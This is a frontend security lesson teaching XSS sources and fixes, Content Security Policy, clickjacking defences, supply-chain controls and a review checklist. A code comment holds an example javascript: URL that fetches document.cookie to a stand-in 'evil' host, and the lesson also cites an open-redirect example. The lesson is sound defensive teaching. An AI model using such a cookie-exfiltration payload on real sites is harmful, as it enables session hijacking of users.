Frontend Security Checklist: XSS, CSP, Clickjacking and Supply Chain

You already know how XSS and CSRF relate to token storage (Lesson 03). This lesson is the practical checklist. A few words first. A header is a named line of extra information that a server sends with a response, such as Content-Security-Policy: .... The browser reads it and follows the rules in it. An origin is the trio of scheme, host and port, for example https://example.com:443. Defence in depth means using several layers of protection, so that if one layer fails, the next one still stops the attack. It covers the risky places to look for, a Content Security Policy that really helps, clickjacking, the supply chain, and the small headers that remove whole groups of bugs.

1. XSS: where it comes from

Cross-site scripting (XSS) is an attack where untrusted data is treated as code in the page, so the attacker's JavaScript runs with the rights of your site. Imagine a stranger writes a note, and your page reads it out loud as an order. There are three types:

• Stored: the bad text is saved (a comment, a profile bio) and then shown to other users.
• Reflected: the bad text comes in the URL or a form, and the response sends it back to the page.
• DOM-based: (the DOM is the browser's live tree of page elements that JavaScript can read and change) code in the browser takes data from the URL, postMessage or storage. It writes that data into a dangerous place, called a sink. No server is involved.

React's default protection (and its limits)

React escapes everything you put in with {value}. Escaping means changing special characters (like < and >) into a form that the browser shows as plain text and never reads as markup. So <script> inside a string shows as harmless text. The protection stops when you turn it off, or when the string means something other than text:

// 1. dangerouslySetInnerHTML — you asked for raw HTML<div dangerouslySetInnerHTML={{ __html: comment.body }} />   // XSS if body is untrusted// 2. URLs: "javascript:" is a valid href<a href={user.website}>Website</a>      // website = "javascript:fetch('//evil/'+document.cookie)"// 3. Refs and direct DOM writesref.current.innerHTML = userInput;       // sink

Dangerous sinks to search for in a review

Fixes

• Prefer text over HTML. Show user content as text whenever you can.
• If you need HTML, clean it with an allow-list sanitiser. A sanitiser is a tool that removes dangerous parts from HTML and returns safe HTML. An allow-list means only the tags you name are kept and everything else is removed (the opposite, a block-list, tries to name the bad things and always misses some). Use DOMPurify in the browser. Use sanitize-html or rehype-sanitize on the server or in a Markdown pipeline. Do it when you render, and allow as few tags and attributes as you can.
• Check URLs. Allow only http: and https: (use new URL(value).protocol). Do not allow javascript:.
• Markdown: turn raw HTML off, or clean the output with a strict schema. A renderer that lets <img onerror=...> through is a classic bug.
• Encode the output for where it goes. HTML body, attribute, JavaScript string and URL each need different escaping. A framework does this for you. Strings you build by hand do not get it.

import DOMPurify from "dompurify";const clean = DOMPurify.sanitize(dirtyHtml, {  ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p", "ul", "ol", "li", "code", "pre"],  ALLOWED_ATTR: ["href"],});

2. Content Security Policy (CSP)

Content Security Policy (CSP) is a response header that tells the browser which content it may load and run on your page. It tells the browser which sources of scripts, styles, images and frames are allowed. (An inline script is JavaScript written straight in the HTML, and onerror is an inline event handler attribute.) Suppose an attacker adds a <script> or an inline onerror. If the policy does not allow it, it does not run, even when your escaping failed. CSP is defence in depth (one more layer). It does not replace escaping.

A weak CSP lists many domains and allows 'unsafe-inline'. That defeats the purpose. A strong, modern CSP uses nonces or hashes:

Content-Security-Policy:  default-src 'self';  script-src 'nonce-r4nd0m123' 'strict-dynamic';  style-src 'self' 'unsafe-inline';  img-src 'self' data: https:;  connect-src 'self' https://api.example.com;  object-src 'none';  base-uri 'none';  frame-ancestors 'none';  form-action 'self';  upgrade-insecure-requests

• Nonce: a new random value made for each response. Think of it as a secret password for one visit. The server puts it in the header and on every real <script nonce="…">. An injected script cannot guess it.
• 'strict-dynamic': a CSP keyword that passes trust on. Scripts loaded by a nonce-approved script are trusted too. So you do not need to keep a long list of allowed domains.
• object-src 'none', base-uri 'none': object-src controls plugins such as <object> and <embed>. base-uri controls the <base> tag, which changes how all relative links are read. Setting both to 'none' closes old ways of injecting code.
• connect-src: the list of addresses that fetch, XHR and WebSocket may talk to. form-action: the addresses that forms may submit to.
• frame-ancestors: this sets who may put your pages in a frame (a frame is a box, such as an <iframe>, that shows another page inside a page; see the next section).
• Report-only first: the header Content-Security-Policy-Report-Only makes the browser report violations without blocking anything. Start with it and a report-to endpoint (a URL that collects the reports). Fix the problems it reports. Then turn on enforcement.

In Next.js, the proxy file (called middleware before Next.js 16) can make a nonce for each request and set the header. Pages read the nonce and pass it to scripts. A new nonce on every response means the page must be rendered on each request (dynamically). So a nonce-based CSP and fully static pages do not work together.

Trusted Types is a browser feature that stops plain strings from being used in dangerous DOM sinks. It is a related feature (require-trusted-types-for 'script'). It makes dangerous DOM sinks refuse plain strings. Code must go through sanitising policies first. It catches DOM-based XSS at the sink.

3. Clickjacking

Clickjacking is an attack that tricks a user into clicking something they cannot see. An attacker puts your site in an invisible iframe on their own page. Then they trick the user into clicking a "button" that really presses a button on your site, for example confirm payment or delete account.

Defences:

• Content-Security-Policy: frame-ancestors 'none' (or 'self', or an allow-list). This is the modern control.
• The older X-Frame-Options: DENY (or SAMEORIGIN) for old browsers.
• For sensitive actions, also ask the user to log in again or confirm.

SameSite is a cookie setting that controls whether the browser sends the cookie on requests that start from another site. It also helps. A frame from another site will not send Lax or Strict session cookies.

4. Supply chain: your dependencies are your code

The supply chain means all the code that other people wrote and that your app uses (npm packages, build tools, scripts from a CDN). A CDN (content delivery network) is a group of servers around the world that hold copies of files and serve them from a place near the user. An average app ships hundreds of packages that come in through other packages (transitive packages). Attackers can get in by these routes:

• A maintainer's account is taken over.
• A package has a name that looks like a real one (typosquatting).
• A package has a bad postinstall script (a script that npm runs automatically after it installs the package).
• A third-party script URL gets a new owner.

A well-known example: in 2024 the polyfill.io domain was transferred to a new owner. It then started serving bad JavaScript to the many sites that loaded it directly.

Controls:

<script  src="https://cdn.example.com/lib@3.2.1/lib.min.js"  integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"  crossorigin="anonymous"></script>

SRI only works for pinned URLs that never change (a file with a version in its URL). If the file changes for a good reason, you must update the hash.

5. Small headers, large effect

6. Other frontend items for a review

• Secrets in the bundle. Anything in client code or in NEXT_PUBLIC_* variables is public. API keys with real power belong on the server.
• Open redirects. An open redirect is a page that sends users to an address taken from the request, so an attacker can use your trusted domain to send people to a bad site. An example is ?next=https://evil.com after login. Allow only relative paths on your own site, or an allow-list.
• postMessage. Always check event.origin and check the shape of the message.
• Authorization in the UI is not security. Hiding a button does not protect an endpoint. The server must check every request.
• Untrusted file uploads. Check the type and size on the server. Store files outside the web root, or on object storage with safe headers.
• Source maps in production (files that link minified code back to your original source) can show your logic. Decide on purpose whether to publish them.

The review checklist (what you say in an interview)

1. Is any untrusted string shown as HTML, used in a URL, or passed to eval?
2. Is there a CSP, and does it use nonces instead of 'unsafe-inline'?
3. Can the site be put in a frame (frame-ancestors)?
4. Are tokens stored where JavaScript can read them?
5. Do third-party scripts have SRI, pinned versions or self-hosting?
6. Are dependencies locked, audited and few?
7. Do cookies have Secure, HttpOnly and SameSite?
8. Are the security headers there?
9. Does the server check authorization without relying on the UI?

Interview questions

Key takeaways

• Sinks (innerHTML, dangerouslySetInnerHTML, javascript: URLs, eval) are where XSS lives. Find them in review.
• Sanitise with an allow-list. Do not write your own regex.
• A nonce-based CSP plus frame-ancestors is the modern baseline. Start with report-only.
• Treat dependencies and third-party scripts as part of your attack surface: lock, audit, use fewer, add SRI.
• Send the small headers: HSTS, nosniff, Referrer-Policy, Permissions-Policy.
• Authorization lives on the server.

What's next

Lesson 08: Browser Rendering and the Event Loop in Practice. Security is done, so we go back to performance. You will see how a frame is made, why some code causes jank (stuttering), and where microtasks, tasks and animation frames fit.